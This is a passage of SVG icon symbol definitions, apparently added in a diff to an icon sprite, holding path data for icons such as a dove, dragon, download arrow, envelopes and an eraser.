16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="donate" viewBox="0 0 512 512"> + <path d="M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z"></path> + </symbol> + <symbol id="door-closed" viewBox="0 0 640 512"> + <path d="M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z"></path> + </symbol> + <symbol id="door-open" viewBox="0 0 640 512"> + <path d="M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z"></path> + </symbol> + <symbol id="dot-circle" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z"></path> + </symbol> + <symbol id="dove" viewBox="0 0 512 512"> + <path d="M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"></path> + </symbol> + <symbol id="download" viewBox="0 0 512 512"> + <path d="M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"></path> + </symbol> + <symbol id="drafting-compass" viewBox="0 0 512 512"> + <path d="M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z"></path> + </symbol> + <symbol id="dragon" viewBox="0 0 640 512"> + <path d="M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z"></path> + </symbol> + <symbol id="draw-polygon" viewBox="0 0 448 512"> + <path d="M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z"></path> + </symbol> + <symbol id="drum" viewBox="0 0 512 512"> + <path d="M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z"></path> + </symbol> + <symbol id="drum-steelpan" viewBox="0 0 576 512"> + <path d="M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z"></path> + </symbol> + <symbol id="drumstick-bite" viewBox="0 0 512 512"> + <path d="M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z"></path> + </symbol> + <symbol id="dumbbell" viewBox="0 0 640 512"> + <path d="M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z"></path> + </symbol> + <symbol id="dumpster" viewBox="0 0 576 512"> + <path d="M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="dumpster-fire" viewBox="0 0 640 512"> + <path d="M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z"></path> + </symbol> + <symbol id="dungeon" viewBox="0 0 512 512"> + <path d="M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z"></path> + </symbol> + <symbol id="edit" viewBox="0 0 576 512"> + <path d="M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z"></path> + </symbol> + <symbol id="egg" viewBox="0 0 384 512"> + <path d="M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z"></path> + </symbol> + <symbol id="eject" viewBox="0 0 448 512"> + <path d="M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z"></path> + </symbol> + <symbol id="ellipsis-h" viewBox="0 0 512 512"> + <path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"></path> + </symbol> + <symbol id="ellipsis-v" viewBox="0 0 192 512"> + <path d="M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z"></path> + </symbol> + <symbol id="envelope" viewBox="0 0 512 512"> + <path d="M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z"></path> + </symbol> + <symbol id="envelope-open" viewBox="0 0 512 512"> + <path d="M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z"></path> + </symbol> + <symbol id="envelope-open-text" viewBox="0 0 512 512"> + <path d="M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z"></path> + </symbol> + <symbol id="envelope-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z"></path> + </symbol> + <symbol id="equals" viewBox="0 0 448 512"> + <path d="M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="eraser" viewBox="0 0 512 512"> + <path d="M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z"></path> + </symbol> + <symbol id="ethernet" viewBox="0 0 512 512"> + <path d="M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="euro-sign" viewBox="0 0 320 512"> + <path d="M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z"></path> + </symbol> + <symbol id="exchange-alt" viewBox="0 0 512 512"> + <path d="M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z"></path> + </symbol> + <symbol id="exclamation" viewBox="0 0 192 512"> + <path d="M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z"></path> + </symbol> + <symbol id="exclamation-circle" viewBox="0 0 512 512"> + <path d="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"></path> + </symbol> + <symbol id="exclamation-triangle" viewBox="0 0 576 512"> + <path d="M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"></path> + </symbol> + <symbol id="expand" viewBox="0 0 448 512"> + <path d="M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="expand-alt" viewBox="0 0 448 512"> + <path d="M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 